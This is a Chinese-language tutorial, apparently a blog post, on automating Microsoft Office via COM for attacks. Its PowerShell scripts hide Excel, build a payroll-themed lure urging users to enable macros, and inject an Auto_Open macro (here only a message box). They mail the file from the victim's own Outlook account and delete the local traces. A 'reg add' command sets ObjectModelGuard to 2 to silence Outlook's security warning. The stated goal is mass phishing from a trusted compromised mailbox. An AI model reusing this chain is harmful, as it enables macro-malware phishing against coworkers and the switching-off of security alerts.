一種針對Microsoft Office的自動化攻擊方式
前言
目前,很多軟體包括Microsoft Office都是透過COM 物件實現的,它們都可以使用PowerShell(或其他語言)COM 物件來完成程式和服務的自動化操作。基於此,如果受害者機器安裝了 Microsoft Office ,惡意軟體就可以利用 COM 物件對目標主機進行惡意攻擊。
自動化 Microsoft Excel的攻擊
1.透過Excel 執行PowerShell。
我們可以使用 New-Object -com 命令建立 Excel 應用程式,然後與返回的物件進行互動。
PS C:\> $excel = New-Object -com Excel.Application
PS C:\> $excel.Visible = $true
注意:如果要隱藏使用者介面,應使用 Visible = $false。
2.編輯 Excel 文件
下一步可以新增一個 Workbook 並將一些資料寫入特定的 Cell.
PS C:\> $workbook = $excel.Workbooks.Add()
PS C:\> $cell = $workbook.ActiveSheet.Cells(1,1)
PS C:\> $cell.Value = "Here goes the secret message!"
PS C:\> $workbook.Password = "Test"
結果如下所示:
3.儲存文件
使用 SaveAs 功能儲存檔案。
PS C:\> $workbook.SaveAs("EmbraceTheRed")
4.關閉文件
最後,使用 CLose() 關閉 Excel。
PS C:\> $workbook.Close()
PS C:\> $excel.Quit()
自動化 Microsoft Outlook 的攻擊
如前所述,Office 的大部分內容都是使用 COM 介面實現的,因此我們也可以實現自動化 Outlook的攻擊。
例如,為了將建立的 Excel 文件傳送出去,攻擊者可以使用 Outlook。
$to = ""
$subject = "Secret Excel Document"
$content = "Important message attached."
$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("EmbraceTheRed")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()
使用這些 COM 自動化技術,可以使安裝在受感染機器上的現成應用程式來竊取資料,還可以建立完整的 C2 基礎設施和訊息通訊。
自動化 Microsoft Outlook 傳送文件
將上面的兩部分結合,先生成 xls 加入宏之後儲存為 xlsm,之後作為附件傳送至目標,最後再將本地的 Excel 檔案刪除。
接收方接收郵件
郵件詳情
開啟表格即中招。
Excel 表格資訊,其中最後一次儲存者為傳送郵件方的主機
程式碼
powershell write xls
$excel = New-Object -com Excel.Application
$excel.Visible = $false
$workbook = $excel.Workbooks.Add()
$cell = $workbook.ActiveSheet.Cells(1,1)
$cell.Value = "檢視工資明細請選擇開啟宏!"
$workbook.ActiveSheet.Cells(2,1).Value = " 月份 "
$workbook.ActiveSheet.Cells(2,2).Value = " 姓名 "
$workbook.ActiveSheet.Cells(2,3).Value = " 月薪 "
$workbook.ActiveSheet.Cells(2,4).Value = " 餐補 "
$workbook.ActiveSheet.Cells(2,5).Value = " 交補 "
$workbook.ActiveSheet.Cells(2,6).Value = " 出差補助 "
$workbook.ActiveSheet.Cells(2,7).Value = " 通訊費補助 "
$workbook.ActiveSheet.Cells(2,8).Value = " 交通費補助 "
$workbook.ActiveSheet.Cells(2,9).Value = " 筆記本補助 "
$workbook.ActiveSheet.Cells(2,10).Value = " 保密補貼 "
$workbook.ActiveSheet.Cells(2,11).Value = " 試用期導師津貼 "
$workbook.ActiveSheet.Cells(2,12).Value = " 伯樂獎 "
$workbook.ActiveSheet.Cells(2,13).Value = " 入離職不在職扣款 "
$workbook.ActiveSheet.Cells(2,14).Value = " 事假扣款 "
$workbook.ActiveSheet.Cells(2,15).Value = " 病假扣款 "
$workbook.ActiveSheet.Cells(2,16).Value = " 轉正/調薪差額 "
$workbook.ActiveSheet.Cells(2,16).Value = " 其他 "
$workbook.ActiveSheet.Cells(2,16).Value = " 超融合獎勵 "
$workbook.ActiveSheet.Cells(2,16).Value = " 應發合計 "
$workbook.ActiveSheet.Cells(2,16).Value = " 養老個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 失業個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 社保個人補差 "
$workbook.ActiveSheet.Cells(2,16).Value = " 公積金個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 稅率 "
$workbook.ActiveSheet.Cells(2,16).Value = " 個稅 "
$workbook.ActiveSheet.Cells(2,16).Value = " 扣除已發超融合獎勵 "
$workbook.ActiveSheet.Cells(2,16).Value = " 實發 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計子女教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計贍養老人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計繼續教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計住房貸款利息 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計住房租金 "
$workbook.WorkSheets.item(1).Name = "工資明細"
$workbook.author = "財務部"
$workbook.title = "2022年12月工資明細"
$workbook.subject = "2022年12月工資明細"
$workbook.SaveAs("c:\temp\2022年12月工資明細.xls")
$xl = New-Object -ComObject Excel.Application
$xl.Visible = $false
$xl.DisplayAlerts = $false
$workbook = $xl.Workbooks.Open("c:\temp\2022年12月工資明細.xls")
$xlmodule = $workbook.VBProject.VBComponents.Add(1)
$code = @"
Sub Auto_Open()
Msgbox "You Are Be Hacked!"
End Sub
"@
$xlmodule.CodeModule.AddFromString($code)
$workbook.SaveAs("c:\temp\2022年12月工資明細.xlsm",52)
$workbook.Close()
$excel.Quit()
sleep(1)
del c:\temp\2022年12月工資明細.xls
OutLook
$to = "xxxx@qq.com"
$subject = "2022年12月工資明細"
$content = "您好,附件為2022年12月工資明細,請查收,謝謝。"
$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("c:\temp\2022年12月工資明細.xlsm")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()
結合
$excel = New-Object -com Excel.Application
$excel.Visible = $false
$workbook = $excel.Workbooks.Add()
$cell = $workbook.ActiveSheet.Cells(1,1)
$cell.Value = "檢視工資明細請選擇開啟宏!"
$workbook.ActiveSheet.Cells(2,1).Value = " 月份 "
$workbook.ActiveSheet.Cells(2,2).Value = " 姓名 "
$workbook.ActiveSheet.Cells(2,3).Value = " 月薪 "
$workbook.ActiveSheet.Cells(2,4).Value = " 餐補 "
$workbook.ActiveSheet.Cells(2,5).Value = " 交補 "
$workbook.ActiveSheet.Cells(2,6).Value = " 出差補助 "
$workbook.ActiveSheet.Cells(2,7).Value = " 通訊費補助 "
$workbook.ActiveSheet.Cells(2,8).Value = " 交通費補助 "
$workbook.ActiveSheet.Cells(2,9).Value = " 筆記本補助 "
$workbook.ActiveSheet.Cells(2,10).Value = " 保密補貼 "
$workbook.ActiveSheet.Cells(2,11).Value = " 試用期導師津貼 "
$workbook.ActiveSheet.Cells(2,12).Value = " 伯樂獎 "
$workbook.ActiveSheet.Cells(2,13).Value = " 入離職不在職扣款 "
$workbook.ActiveSheet.Cells(2,14).Value = " 事假扣款 "
$workbook.ActiveSheet.Cells(2,15).Value = " 病假扣款 "
$workbook.ActiveSheet.Cells(2,16).Value = " 轉正/調薪差額 "
$workbook.ActiveSheet.Cells(2,16).Value = " 其他 "
$workbook.ActiveSheet.Cells(2,16).Value = " 超融合獎勵 "
$workbook.ActiveSheet.Cells(2,16).Value = " 應發合計 "
$workbook.ActiveSheet.Cells(2,16).Value = " 養老個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 失業個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 社保個人補差 "
$workbook.ActiveSheet.Cells(2,16).Value = " 公積金個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 稅率 "
$workbook.ActiveSheet.Cells(2,16).Value = " 個稅 "
$workbook.ActiveSheet.Cells(2,16).Value = " 扣除已發超融合獎勵 "
$workbook.ActiveSheet.Cells(2,16).Value = " 實發 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計子女教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計贍養老人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計繼續教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計住房貸款利息 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計住房租金 "
$workbook.WorkSheets.item(1).Name = "工資明細"
$workbook.author = "財務部"
$workbook.title = "2022年12月工資明細"
$workbook.subject = "2022年12月工資明細"
$workbook.SaveAs("c:\temp\2022年12月工資明細.xls")
$xl = New-Object -ComObject Excel.Application
$xl.Visible = $false
$xl.DisplayAlerts = $false
$workbook = $xl.Workbooks.Open("c:\temp\2022年12月工資明細.xls")
$xlmodule = $workbook.VBProject.VBComponents.Add(1)
$code = @"
Sub Auto_Open()
Msgbox "You Are Be Hacked!"
End Sub
"@
$xlmodule.CodeModule.AddFromString($code)
$workbook.SaveAs("c:\temp\2022年12月工資明細.xlsm",52)
$workbook.Close()
$excel.Quit()
sleep(1)
del c:\temp\2022年12月工資明細.xls
$to = "xxxx@qq.com"
$subject = "2022年12月工資明細"
$content = "您好,附件為2022年12月工資明細,請查收,謝謝。"
$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("c:\temp\2022年12月工資明細.xlsm")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()
sleep(1)
del c:\temp\2022年12月工資明細.xlsm
如何解決告警問題
這裡還有個問題,就是透過 COM 呼叫 Outlook 傳送郵件時會觸發安全告警。
官方連結:
解決方案:
1. 選擇“開始”,然後輸入“regedit”。 在搜尋結果中,右鍵單擊“登錄檔編輯器”,然後選擇“以管理員身份執行”。
2. 在登錄檔編輯器中,導航到相應的登錄檔子項,如下所示:
相同的位數安裝 (在 32 位 Windows 上安裝執行的 32 位辦公軟體或在 64 位 Windows 上安裝執行的 64 位辦公軟體)︰
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\x.0\Outlook\Security
不同位數安裝 (在 64 位 Windows 上安裝執行的 32 位辦公軟體)︰
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\x.0\Outlook\Security
Office 基於 MSI 的安裝︰
不同位元 (在 64 位 Windows 上安裝執行的 32 位辦公軟體)︰
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\x.0\Outlook\Security
相同的位數 (在 32 位 Windows 上安裝執行的 32 位辦公軟體或在 64 位 Windows 上安裝執行的 64 位辦公軟體)︰
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\x.0\Outlook\Security
本次測試地址:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Outlook\Security
注意x.0佔位符表示 Office 版本 (16.0 代表 Office 2016,15.0 代表 Office 2013 )
1. 右鍵單擊登錄檔子項,然後選擇“新建”>“DWORD”。
2. 將 DWORD 命名為 ObjectModelGuard。
3. 將 DWORD 的值設定為所需的行為:
l DWORD: ObjectModelGuard
l 值:
0 = 在防病毒軟體處於非活動狀態或過期時警告我存在可疑活動 (推薦)
1 = 始終警告我可疑活動
2 = 切勿警告我可疑活動 (不推薦)
4. 退出登錄檔編輯器。
更新登錄檔後,檢查 Outlook 以確保在“程式設計訪問”設定中正確顯示更改:
1. 在 Outlook 中,選擇“檔案”,然後選擇“選項”。
2. 選擇“信任中心”,然後選擇“信任中心設定”。
3. 選擇“程式設計訪問”。
這個可以透過登錄檔命令列直接修改
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Outlook\Security /v ObjectModelGuard /t REG_DWORD /d 2
但是修改完不會立即生效,需要重啟下outlook程式。這裡使用powershell命令來重啟:
# 關閉Outlook程式
Stop-Process -Name "OUTLOOK"
# 啟動Outlook程式
Start-Process "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"
之後再次檢視就生效了,然後再執行Powershell指令碼就不會觸發安全告警了。
總結
本操作主要是當受害者使用的是Outlook郵箱,為了獲取到個人PC許可權,可以透過該指令碼自動化利用本機器使用者的郵箱賬號批次傳送釣魚郵件。由於使用的是本機器使用者的郵箱賬號,可信度較高,釣魚成功率也會隨之提升。
相關文章
- 利用Office宏及Powershell的針對性攻擊樣本分析2020-08-19
- 利用Office巨集及Powershell的針對性攻擊樣本分析2018-03-08
- 針對自動駕駛中交通燈識別的對抗性鐳射攻擊2022-03-09自動駕駛
- WiFi攻擊的三種方式2019-02-18WiFi
- 針對性攻擊與移動安全漏洞2020-08-19
- 針對 VoIP 伺服器發動 DDoS 攻擊2021-11-21伺服器
- 五種常見的DNS攻擊型別及應對方式2022-04-27DNS型別
- 攻擊伺服器的幾種方式2022-11-10伺服器
- 針對以色列和巴勒斯坦的apt式攻擊2020-08-19APT
- FireEye遭APT攻擊?!針對企業的APT攻擊是如何發生的?2020-12-10APT
- ddos攻擊伺服器的幾種方式2019-08-31伺服器
- burpsuite暴力破解的四種攻擊方式2024-07-15UI
- Appium自動化(15) - 針對 webview 進行自動化測試2020-05-21APPWebView
- Microsoft Office 2013與WPS Office 2013對比2020-01-03ROS
- 3種方式自動化控制APP2024-04-25APP
- 針對TP-LINK的CSRF攻擊來劫持DNS案例2020-08-19DNS
- 【最全】針對工業行業的勒索攻擊調研2021-07-29行業
- DDoS攻擊、CC攻擊的攻擊方式和防禦方法2019-02-27
- 針對雲服務的勒索軟體攻擊的未來2021-04-29
- Kali自動化SQL隱碼攻擊神器————JSQL2018-06-07SQLJS
- 一種利用EXCEL的BazarLoader攻擊2021-12-03Excel
- 綜述論文:對抗攻擊的12種攻擊方法和15種防禦方法2018-03-05
- cc2/4鏈:針對commons-collections4的攻擊2024-06-14
- 攻擊推理-安全知識圖譜在自動化攻擊行為提取上的應用2021-06-18
- 對抗攻擊(一) FGSM2021-07-18
- web攻擊方式2019-03-19Web
- 自動化LFI漏洞掃描攻擊之LFI Suite2018-05-23UI
- XAIGen:自動化攻擊特徵提取的專案開源啦2021-01-12AI特徵
- 幾種常見的DDOS攻擊應對策略2020-06-03
- GhostPeak:針對汽車智慧鑰匙的測距縮短攻擊2022-04-02
- 使用 Visual C++ 的 Office 自動化2024-05-01C++
- 針對Office巨集病毒的高階檢測2022-02-21
- 應對CC攻擊的自動防禦系統——原理與實現2020-08-19
- 對抗攻擊方法一覽2022-04-08
- WEB常見的攻擊方式2018-09-26Web
- GhostTouch:針對智慧觸控式螢幕的非接觸性攻擊2022-03-01
- 針對工業基礎設施的勒索軟體攻擊趨勢2022-04-12
- 一種有效應對側通道記憶體攻擊的新方法2022-03-16記憶體